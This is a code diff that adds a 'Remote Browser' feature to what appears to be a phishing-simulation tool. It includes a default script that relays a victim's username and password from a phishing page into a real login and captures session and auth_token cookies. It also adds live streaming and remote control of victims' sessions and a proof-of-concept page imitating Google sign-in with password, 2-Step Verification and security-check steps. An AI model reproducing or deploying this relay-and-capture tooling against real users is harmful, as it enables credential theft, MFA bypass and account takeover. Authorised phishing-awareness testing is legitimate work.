+ + +
+ +

+ {#if cfgMode === 'local'} + Spawns an isolated Chrome process per session. + {:else} + Connect to a Chrome you launched yourself — real OS fingerprint, GPU, profile, and extensions. Best for bypassing bot detection. + {/if} +

+
+ + {#if cfgMode === 'remote'} + dispatch('change', getModel())} + placeholder="http://localhost:9222">Remote DevTools URL +

+ Start Chrome with --remote-debugging-port=9222 then enter the host:port or full URL here. +

+ {:else} + dispatch('change', getModel())} + optional={true} + placeholder="socks5://127.0.0.1:1080">Proxy +
+ +
+ dispatch('change', getModel())} + optional={true} + placeholder="en-US">Language +
+

+ Flags (one per line — --flag adds/overrides, !--flag removes) +

+ +
+ {/if} + + dispatch('change', getModel())} + placeholder="5">Timeout (minutes) + +
+ {:else} +
+ {#if isScriptDirty} +

Unsaved changes - save before running.

+ {/if} + +
+ {#if !isRunning} + + {:else} + + {/if} + {#if runLog.length > 0} + + {/if} + {#if streamSessionID} + + + {/if} +
+ + +
+ {#if runLog.length === 0} + No events yet. Click Run to execute the script. + {:else} + {#each runLog as entry} +
+ {#if entry.type === 'event'} + [{entry.time?.slice(11, 23)}] + emit + {entry.key} + = + {JSON.stringify(entry.value)} + {:else if entry.type === 'sent'} + [{entry.time?.slice(11, 23)}] + → {entry.event} + {#if entry.data !== null && entry.data !== undefined && entry.data !== ''} + data={JSON.stringify(entry.data)} + {/if} + {:else if entry.type === 'screenshot'} + [{entry.time?.slice(11, 23)}] + 📷 {entry.key || 'screenshot'} + {#if entry.url} + {entry.url} + {/if} +
+ + + {entry.key { + screenshotModalSrc = entry.value; + screenshotModalLabel = entry.key || 'screenshot'; + screenshotModalURL = entry.url || ''; + }} + /> +
+ {:else if entry.type === 'info'} + [{entry.time?.slice(11, 23)}] + ℹ info + {entry.message} + {:else if entry.type === 'submit'} + [{entry.time?.slice(11, 23)}] + ⬆ submitData +
{JSON.stringify(entry.value, null, 2)}
+ {:else if entry.type === 'capture'} + [{entry.time?.slice(11, 23)}] + ★ capture + {#if entry.value?.cookies} + · {entry.value.cookies.length} cookies + {/if} + {#if entry.value?.localStorage} + · {Object.keys(entry.value.localStorage).length} localStorage + {/if} + {#if entry.value?.sessionStorage} + · {Object.keys(entry.value.sessionStorage).length} sessionStorage + {/if} +
{JSON.stringify(entry.value, null, 2)}
+ {:else if entry.type === 'done'} + [{entry.time?.slice(11, 23)}] + ✓ done + {:else} + [{entry.time?.slice(11, 23)}] + {entry.message} + {#if entry.data !== undefined && entry.data !== null} + {JSON.stringify(entry.data)} + {/if} + {/if} +
+ {/each} + {/if} +
+ + + {#if isRunning} +
+

Inject event

+
+ { if (e.key === 'Enter') { e.preventDefault(); sendEvent(); } }} + /> + { if (e.key === 'Enter') { e.preventDefault(); sendEvent(); } }} + /> + +
+
+ {/if} + + {#if !id} +

+ Save the remote browser first to enable live test runs. +

+ {/if} +
+ {/if} +
+
+
+
+ + +{#if screenshotModalSrc} + + +
{ screenshotModalSrc = null; screenshotModalURL = ''; }} + > +
+
+
+ {screenshotModalLabel} + {#if screenshotModalURL} + {screenshotModalURL} + {/if} +
+ +
+ {screenshotModalLabel} +
+
+{/if} + + { + if (!ws || ws.readyState !== WebSocket.OPEN) return; + const { event, data } = e.detail; + ws.send(JSON.stringify({ event, data })); + runLog = [...runLog, { type: 'sent', event, data, time: now() }]; + }} +/> diff --git a/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte b/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte new file mode 100644 index 0000000..1781ba6 --- /dev/null +++ b/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte @@ -0,0 +1,600 @@ + + + +
+ +
+ +
+ + Status: {status} + + {#if email} + {email} + {/if} + {#if status === 'Connected'} + {fps} fps + {/if} + +
+ + {#if tabs.length > 1} +
+ {#each tabs as tab (tab.targetID)} + + +
switchTab(tab.targetID)} + title={tab.url || 'New tab'} + > + {tabLabel(tab.url)} + +
+ {/each} +
+ {/if} + +
+ + + + +
{ if (controlMode) document.getElementById('rb-url-input')?.select(); }} + > + { urlBarFocused = true; }} + on:blur={() => { urlBarFocused = false; urlBarValue = currentURL; }} + on:keydown={(e) => { + if (e.key === 'Enter') { e.preventDefault(); navigateTo(urlBarValue); } + if (e.key === 'Escape') { e.preventDefault(); urlBarValue = currentURL; e.target.blur(); } + e.stopPropagation(); + }} + readonly={!controlMode} + class="flex-1 px-2.5 py-1 text-sm font-mono bg-transparent outline-none text-gray-800 dark:text-gray-200 {!controlMode ? 'cursor-default select-text' : ''}" + placeholder="about:blank" + /> +
+
+
+ + + +
+ + + {#if logPanelOpen} +
+
+ Script Log + +
+
+ {#if runLog.length === 0} + No events yet. + {:else} + {#each runLog as entry} +
+ {#if entry.type === 'event'} + [{entry.time?.slice(11, 23)}] + emit + {entry.key} + = + {JSON.stringify(entry.value)} + {:else if entry.type === 'sent'} + [{entry.time?.slice(11, 23)}] + → {entry.event} + {#if entry.data !== null && entry.data !== undefined && entry.data !== ''} + data={JSON.stringify(entry.data)} + {/if} + {:else if entry.type === 'screenshot'} + [{entry.time?.slice(11, 23)}] + 📷 {entry.key || 'screenshot'} + {#if entry.url} + {entry.url} + {/if} + {:else if entry.type === 'info'} + [{entry.time?.slice(11, 23)}] + ℹ info + {entry.message} + {:else if entry.type === 'submit'} + [{entry.time?.slice(11, 23)}] + ⬆ submitData +
{JSON.stringify(entry.value, null, 2)}
+ {:else if entry.type === 'capture'} + [{entry.time?.slice(11, 23)}] + ★ capture + {#if entry.value?.cookies} + · {entry.value.cookies.length} cookies + {/if} + {#if entry.value?.localStorage} + · {Object.keys(entry.value.localStorage).length} localStorage + {/if} + {:else if entry.type === 'done'} + [{entry.time?.slice(11, 23)}] + ✓ done + {:else} + [{entry.time?.slice(11, 23)}] + {entry.message} + {#if entry.data !== undefined && entry.data !== null} + {JSON.stringify(entry.data)} + {/if} + {/if} +
+ {/each} + {/if} +
+ + {#if isRunning} +
+ { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }} + /> + { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }} + /> + +
+ {/if} +
+ {/if} +
+ + {#if controlMode} +

+ Mouse and keyboard are captured while this modal is open. +

+ {/if} +
+
diff --git a/frontend/src/lib/components/table/TableDropDownEllipsis.svelte b/frontend/src/lib/components/table/TableDropDownEllipsis.svelte index 5428dd9..a29d192 100644 --- a/frontend/src/lib/components/table/TableDropDownEllipsis.svelte +++ b/frontend/src/lib/components/table/TableDropDownEllipsis.svelte @@ -26,54 +26,34 @@ activeFormElement.set(dropdownId); // set this as active, closing others const viewportHeight = window.innerHeight; - const buffer = 20; // extra space to ensure some padding from viewport edges - const minHeight = 64; // minimum dropdown height - const maxHeight = 400; // maximum dropdown height + const viewportWidth = window.innerWidth; + const buffer = 20; + const minHeight = 64; + const maxHeight = 400; + const gap = 8; - let clickViewportY, pageX, pageY; + const buttonRect = buttonRef.getBoundingClientRect(); - // handle both mouse and keyboard events - if (e.clientY !== undefined && e.pageX !== undefined) { - // mouse event - clickViewportY = e.clientY; - pageX = e.pageX; - pageY = e.pageY; - } else { - // keyboard event - use button position - const buttonRect = buttonRef.getBoundingClientRect(); - clickViewportY = buttonRect.top; - pageX = buttonRect.left + window.scrollX; - pageY = buttonRect.top + window.scrollY; - } - - // calculate available space above and below - const spaceAbove = clickViewportY - buffer; - const spaceBelow = viewportHeight - clickViewportY - buffer; - - // choose position based on available space, with preference for below + const spaceAbove = buttonRect.top - buffer; + const spaceBelow = viewportHeight - buttonRect.bottom - buffer; const shouldShowAbove = spaceBelow < minHeight && spaceAbove > spaceBelow; const availableSpace = shouldShowAbove ? spaceAbove : spaceBelow; - - // calculate optimal height within bounds const optimalHeight = Math.min(Math.max(availableSpace, minHeight), maxHeight); - // find position - const gap = 8; // small gap between menu and cursor/button - menuX = pageX - 256; + const menuWidth = 256; + const spaceOnRight = viewportWidth - buttonRect.right - buffer; + menuX = spaceOnRight >= menuWidth ? buttonRect.left : buttonRect.right - menuWidth; + menuX = Math.max(buffer, Math.min(menuX, viewportWidth - menuWidth - buffer)); if (shouldShowAbove) { - // calculate actual menu height by temporarily showing it menuRef.style.visibility = 'hidden'; menuRef.style.display = 'block'; const actualMenuHeight = menuRef.scrollHeight; menuRef.style.display = ''; menuRef.style.visibility = ''; - - // position above by moving up by the actual menu height - menuY = pageY - actualMenuHeight - gap; + menuY = buttonRect.top - actualMenuHeight - gap; } else { - // for below positioning, use original click/button position - menuY = pageY + gap; + menuY = buttonRect.bottom + gap; } menuRef.style = `left: ${menuX}px; top: ${menuY}px; max-height: ${optimalHeight}px`; @@ -160,7 +140,7 @@
    diff --git a/frontend/src/lib/components/table/TableHeadCell.svelte b/frontend/src/lib/components/table/TableHeadCell.svelte index f397e77..855340c 100644 --- a/frontend/src/lib/components/table/TableHeadCell.svelte +++ b/frontend/src/lib/components/table/TableHeadCell.svelte @@ -55,7 +55,7 @@ class="font-bold text-slate-600 dark:text-gray-200 text-{alignText} flex transition-colors duration-200" > {#if !isGhost} - {title.length ? title : column} + {title?.length ? title : column} {:else} {/if} diff --git a/frontend/src/lib/components/table/TableHeader.svelte b/frontend/src/lib/components/table/TableHeader.svelte index 6fefa27..bffda6c 100644 --- a/frontend/src/lib/components/table/TableHeader.svelte +++ b/frontend/src/lib/components/table/TableHeader.svelte @@ -26,7 +26,7 @@ - {#each columns as column, i (i)} + {#each columns as column, i (typeof column === 'object' ? column.column : column)} {#if typeof column === 'object'} } */ + let liveSessions = new Map(); + let liveSessionPollInterval = null; + let streamModalVisible = false; + let streamCRID = ''; + let streamControlMode = false; + let streamEmail = ''; + let isTerminateSessionAlertVisible = false; + let terminateSessionCRID = ''; + // hooks onMount(() => { const context = appStateService.getContext(); @@ -186,14 +199,55 @@ await refreshCampaignEventsSince(); })(); + // poll live sessions every 5 seconds + liveSessionPollInterval = setInterval(refreshLiveSessions, 5000); + refreshLiveSessions(); + // cleanup resource context when leaving page return () => { recipientTableUrlParams.unsubscribe(); eventsTableURLParams.unsubscribe(); resourceContext.clear(); + clearInterval(liveSessionPollInterval); }; }); + const refreshLiveSessions = async () => { + try { + const campaignID = $page.params.id; + const res = await api.remoteBrowser.getLiveSessions(campaignID); + if (!res.success) return; + const map = new Map(); + for (const s of res.data ?? []) { + map.set(s.crID, s); + } + liveSessions = map; + } catch { + // network error during poll — silently skip this tick + } + }; + + const openStreamModal = (crID, control, recipientEmail = '') => { + streamCRID = crID; + streamControlMode = control; + streamEmail = recipientEmail; + streamModalVisible = true; + }; + + const openTerminateAlert = (crID) => { + terminateSessionCRID = crID; + isTerminateSessionAlertVisible = true; + }; + + const doTerminateSession = async () => { + const res = await api.remoteBrowser.closeLiveSession(terminateSessionCRID); + if (!res.success) { + return { success: false, error: 'Failed to terminate session' }; + } + await refreshLiveSessions(); + return { success: true }; + }; + const refresh = async (showLoading = true) => { if (showLoading) { showIsLoading(); @@ -1947,6 +2001,7 @@ Recipients overview 0 ? [{ column: 'Remote', size: 'small' }] : []), { column: 'First name', size: 'small' }, { column: 'Last name', size: 'small' }, { column: 'Email', size: 'large' }, @@ -1972,6 +2027,29 @@ > {#each campaignRecipients as recp (recp.id)} + {#if liveSessions.size > 0} + + {#if liveSessions.has(recp.id)} + {@const ls = liveSessions.get(recp.id)} + + {#if ls.canStream} + openStreamModal(recp.id, false, recp.recipient?.email)} + /> + openStreamModal(recp.id, true, recp.recipient?.email)} + /> + {/if} + openTerminateAlert(recp.id)} + /> + + {/if} + + {/if} {#if recp?.anonymizedID} @@ -2104,6 +2182,23 @@ : ''} on:click={() => onClickPreviewEmail(recp.id)} /> + {#if liveSessions.has(recp.id)} + {@const ls = liveSessions.get(recp.id)} + {#if ls.canStream} + openStreamModal(recp.id, false, recp.recipient?.email)} + /> + openStreamModal(recp.id, true, recp.recipient?.email)} + /> + {/if} + openTerminateAlert(recp.id)} + /> + {/if} {/if} @@ -2112,6 +2207,23 @@
    {/if} {/if} + { streamModalVisible = false; refreshLiveSessions(); }} + /> + + + Are you sure you want to terminate this live session? The victim's browser will be closed. + +
    + import { page } from '$app/stores'; + import { api } from '$lib/api/apiProxy.js'; + import { onMount } from 'svelte'; + import { newTableURLParams } from '$lib/service/tableURLParams.js'; + import Headline from '$lib/components/Headline.svelte'; + import TableRow from '$lib/components/table/TableRow.svelte'; + import TableCell from '$lib/components/table/TableCell.svelte'; + import TableUpdateButton from '$lib/components/table/TableUpdateButton.svelte'; + import TableDeleteButton from '$lib/components/table/TableDeleteButton2.svelte'; + import TableCopyButton from '$lib/components/table/TableCopyButton.svelte'; + import FormError from '$lib/components/FormError.svelte'; + import { addToast } from '$lib/store/toast'; + import { AppStateService } from '$lib/service/appState'; + import TableCellEmpty from '$lib/components/table/TableCellEmpty.svelte'; + import TableCellAction from '$lib/components/table/TableCellAction.svelte'; + import Modal from '$lib/components/Modal.svelte'; + import Table from '$lib/components/table/Table.svelte'; + import HeadTitle from '$lib/components/HeadTitle.svelte'; + import { getModalText } from '$lib/utils/common'; + import DeleteAlert from '$lib/components/modal/DeleteAlert.svelte'; + import AutoRefresh from '$lib/components/AutoRefresh.svelte'; + import BigButton from '$lib/components/BigButton.svelte'; + import TableDropDownEllipsis from '$lib/components/table/TableDropDownEllipsis.svelte'; + import FormGrid from '$lib/components/FormGrid.svelte'; + import FormFooter from '$lib/components/FormFooter.svelte'; + import RemoteBrowserEditor from '$lib/components/remote-browser/RemoteBrowserEditor.svelte'; + + const appStateService = AppStateService.instance; + + // form state + let formValues = { + id: null, + name: '', + description: '', + script: defaultScript(), + config: JSON.stringify( + { mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 }, + null, + 2 + ) + }; + let isSubmitting = false; + let formError = ''; + let savedScript = defaultScript(); + + // table state + const tableURLParams = newTableURLParams(); + let contextCompanyID = null; + let items = []; + let hasNextPage = true; + let isTableLoading = false; + let featureDisabled = false; + + // modal state + let isModalVisible = false; + let modalMode = null; + let modalText = ''; + + // delete state + let isDeleteAlertVisible = false; + let deleteValues = { id: null, name: null }; + + $: modalText = getModalText('Remote Browser', modalMode); + + function defaultScript() { + return `// The phishing page sends events here via rb.send("event", data). +// This script replays them into the real site and emits events back. + +var s = newSession(); +s.navigate("https://example.com/login"); +s.waitVisible("input[type='email']"); + +// wait for victim to submit their email on the phishing page +var u = waitForEvent("username"); +s.sendKeys("input[type='email']", u.username); +s.click("button[type='submit']"); + +// ask the phishing page to show a password field +s.waitVisible("input[type='password']"); +emit("need_password", {}); + +var p = waitForEvent("password"); +s.sendKeys("input[type='password']", p.password); +s.click("button[type='submit']"); + +// grab session cookies once we land inside the app +s.waitVisible("#dashboard"); +s.capture({ + domains: ["example.com"], + cookieNames: ["session", "auth_token"] +}); +emit("captured", { status: "success" }); + +s.keepAlive(); +s.close(); +`; + } + + onMount(() => { + const context = appStateService.getContext(); + if (context) contextCompanyID = context.companyID; + + refreshItems(); + tableURLParams.onChange(refreshItems); + + (async () => { + const editID = $page.url.searchParams.get('edit'); + if (editID) await openUpdateModal(editID); + })(); + + return () => tableURLParams.unsubscribe(); + }); + + const refreshItems = async (showLoading = true) => { + try { + if (showLoading) isTableLoading = true; + const res = await api.remoteBrowser.getAllSubset(tableURLParams, contextCompanyID); + if (res.statusCode === 404) { + featureDisabled = true; + return; + } + if (res.success) { + items = res.data.rows ?? res.data ?? []; + hasNextPage = res.data.hasNextPage ?? false; + } + } catch (e) { + addToast('Failed to load Remote Browsers', 'Error'); + console.error(e); + } finally { + if (showLoading) isTableLoading = false; + } + }; + + const openCreateModal = () => { + formValues = { + id: null, + name: '', + description: '', + script: defaultScript(), + config: JSON.stringify( + { mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 }, + null, + 2 + ) + }; + savedScript = defaultScript(); + formError = ''; + modalMode = 'create'; + isModalVisible = true; + }; + + const openUpdateModal = async (id) => { + try { + const res = await api.remoteBrowser.getByID(id); + if (!res.success) throw res.error; + const rb = res.data; + formValues = { + id: rb.id, + name: rb.name || '', + description: rb.description || '', + script: rb.script || defaultScript(), + config: rb.config + ? JSON.stringify(rb.config, null, 2) + : JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2) + }; + savedScript = formValues.script; + formError = ''; + modalMode = 'update'; + isModalVisible = true; + } catch (e) { + addToast('Failed to load Remote Browser', 'Error'); + console.error(e); + } + }; + + const closeModal = () => { + isModalVisible = false; + formError = ''; + }; + + const onEditorChange = (event) => { + const { name, description, script, config } = event.detail; + formValues = { ...formValues, name, description, script, config }; + }; + + const openCopyModal = async (id) => { + try { + const res = await api.remoteBrowser.getByID(id); + if (!res.success) throw res.error; + const rb = res.data; + formValues = { + id: null, + name: rb.name ? `${rb.name} (copy)` : '', + description: rb.description || '', + script: rb.script || defaultScript(), + config: rb.config + ? JSON.stringify(rb.config, null, 2) + : JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2) + }; + savedScript = formValues.script; + formError = ''; + modalMode = 'copy'; + isModalVisible = true; + } catch (e) { + addToast('Failed to load Remote Browser', 'Error'); + console.error(e); + } + }; + + const onSubmit = async (event) => { + isSubmitting = true; + try { + const saveOnly = event?.detail?.saveOnly || false; + if (modalMode === 'create' || modalMode === 'copy') { + await create(); + } else { + await update(saveOnly); + } + } finally { + isSubmitting = false; + } + }; + + const create = async () => { + try { + const res = await api.remoteBrowser.create({ + name: formValues.name, + description: formValues.description, + script: formValues.script, + config: JSON.parse(formValues.config), + companyID: contextCompanyID + }); + if (!res.success) { + formError = res.error; + return; + } + formError = ''; + addToast('Remote Browser created', 'Success'); + // Stay in the modal - switch to update mode so the user can run/test immediately. + formValues = { ...formValues, id: res.data.id }; + savedScript = formValues.script; + modalMode = 'update'; + refreshItems(); + } catch (e) { + addToast('Failed to create Remote Browser', 'Error'); + console.error(e); + } + }; + + const update = async (saveOnly = false) => { + try { + const res = await api.remoteBrowser.update(formValues.id, { + name: formValues.name, + description: formValues.description, + script: formValues.script, + config: JSON.parse(formValues.config) + }); + if (!res.success) { + formError = res.error; + return; + } + formError = ''; + savedScript = formValues.script; + addToast(saveOnly ? 'Saved' : 'Remote Browser updated', 'Success'); + if (!saveOnly) { + closeModal(); + refreshItems(); + } + } catch (e) { + addToast(saveOnly ? 'Failed to save' : 'Failed to update Remote Browser', 'Error'); + console.error(e); + } + }; + + const onClickDelete = async (id) => { + const res = await api.remoteBrowser.delete(id); + if (res.success) { + refreshItems(); + return res; + } + throw res.error; + }; + + + + +
    +
    +
    + Remote Browsers + Experimental +
    + refreshItems(false)} /> +
    + + {#if featureDisabled} +
    +

    Remote Browser is not enabled

    +

    + This feature is disabled by default for security reasons. When enabled, the server runs a + browser under the application process. Any operator with access to the script editor can + execute arbitrary commands on the host. +

    +

    + To enable it, set enabled: true + in the remote_browser block of + config.json and retart the service. +

    + Read the setup guide +
    + {:else} + New Remote Browser + +
    + {#each items as item (item.id)} + + + + + {item.description || ''} + + + + openUpdateModal(item.id)} /> + openCopyModal(item.id)} /> + { + deleteValues = { id: item.id, name: item.name }; + isDeleteAlertVisible = true; + }} + /> + + + + {/each} +
    + {/if} +
+ + + + +
+ +
+ + + + +
+
+ + onClickDelete(deleteValues.id)} +/> diff --git a/frontend/vite.dev.config.js b/frontend/vite.dev.config.js index 4bd61f0..d588f29 100644 --- a/frontend/vite.dev.config.js +++ b/frontend/vite.dev.config.js @@ -21,6 +21,7 @@ export default defineConfig({ '/api/': { target: 'https://backend:8002', secure: false, + ws: true, }, }, }, diff --git a/tmp/google-poc.html b/tmp/google-poc.html new file mode 100644 index 0000000..8a41e01 --- /dev/null +++ b/tmp/google-poc.html @@ -0,0 +1,636 @@ + + + + + + Sign in - Google Accounts + + + + +
+
+ +
+ +

Sign in

+

Use your Google Account

+
+ +
+ +

Welcome

+ +
+ +
+ +

2-Step Verification

+

Open your authenticator app and enter the 6-digit code

+ +
+ +
+ +

One more step

+

Complete the security check to continue signing in

+
+ +
+ +

Please wait

+

Reconnecting to Google

+
+ +
+ +
+ +
+ +
+ +
+
+ + +
+
+ +

+ Not your computer? Use Guest mode to sign in privately. + Learn more +

+
+ Create account + +
+
+ +
+
+ + + +
+
+ +
+ Try another way + +
+
+ +
+
+ + +
+
+ +
+
+ +
+
+ +
+
+
+
+
+ +
+
+
+

Please wait…

+
+
+ +
+
+
+ + + +
+

You're signed in

+

Redirecting…

+
+
+ +
+
+ + + + {{RemoteBrowserScript "Google POC"}} + + +